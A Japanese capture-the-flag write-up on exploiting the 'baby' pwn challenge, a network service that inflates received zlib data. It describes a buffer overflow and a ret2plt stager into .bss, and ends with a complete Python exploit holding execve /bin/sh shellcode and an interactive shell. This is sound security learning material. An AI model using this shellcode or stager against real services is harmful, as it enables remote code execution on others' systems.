pwn問題集のbabyより。
事前準備として$ useradd -m funnybusiness
が必要。getpwnam
を使うのでsudoを付けて動かす。
ldd
でリンクされているライブラリを見るとlibz
があった。
leave
とかどこにも書いてないし、アセンブリがどうも読みづらいがこれはFORTIFY_SOURCE
によるものらしい。
https://access.redhat.com/blogs/766093/posts/1976213
仕方ないのでデバッガの助けを借りてrecv
の辺りから広げていって読むことにした。
がんばって読むと、0x4000以下の数値をrecv
したあと、その長さ分だけまたrecv
、.bss
に格納してInflateで展開してからret
するプログラムのようだ。BOFも見つけた。
いろいろ試して2回目の入力の先頭の7バイト目からが指すアドレスにreturnするとわかったのだが、shellcodeをどこに入れればよいかわからなかった。アドレスもわからないし。
日本語も英語もwrite-upがほとんどなかった。以下を参考にした。
http://shimasyaro.hatenablog.com/entry/2017/02/20/130636
- 1, 2回目の
recv
でret2pltを仕込み、もう1度recvが呼ばれるようにする(stager)。このときのrecv
のリターン先にはASLRでも固定されている.bss
のアドレスを指定する - 3回目の
recv
でshellcodeを入れる - そのshellcodeにリターン、実行される
EIP奪ってからどこにshellcode入れたら良いかわからなくなってwrite-up見た
— 他者との比較を避け、前向きに新年を迎える (@sei0o) 2017年12月27日
.bssか…(ASLRでアドレス変化しない領域を忘れがち
import socket, time, os, struct, telnetlib def connect(ip, port): return socket.create_connection((ip, port)) def p(x): return struct.pack("<I", x) def u(x): return struct.unpack("<I", x)[0] def interact(s): t = telnetlib.Telnet() t.sock = s t.interact() ####################################### import zlib s = connect('localhost', 49681) # dup2(4), execve shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" bss_addr = 0x804b080 recv_plt = 0x80487b0 payload = 'A' * 6 payload += p(recv_plt) # stager(ret2plt) payload += p(bss_addr) payload += p(4) # arguments...(descriptor, buffer, length, flags) payload += p(bss_addr) payload += p(len(shellcode)) payload += p(0) print(payload.encode('string_escape')) compressed = zlib.compress(payload, 0) s.send(p(len(compressed))) s.send(compressed) s.send(shellcode) interact(s)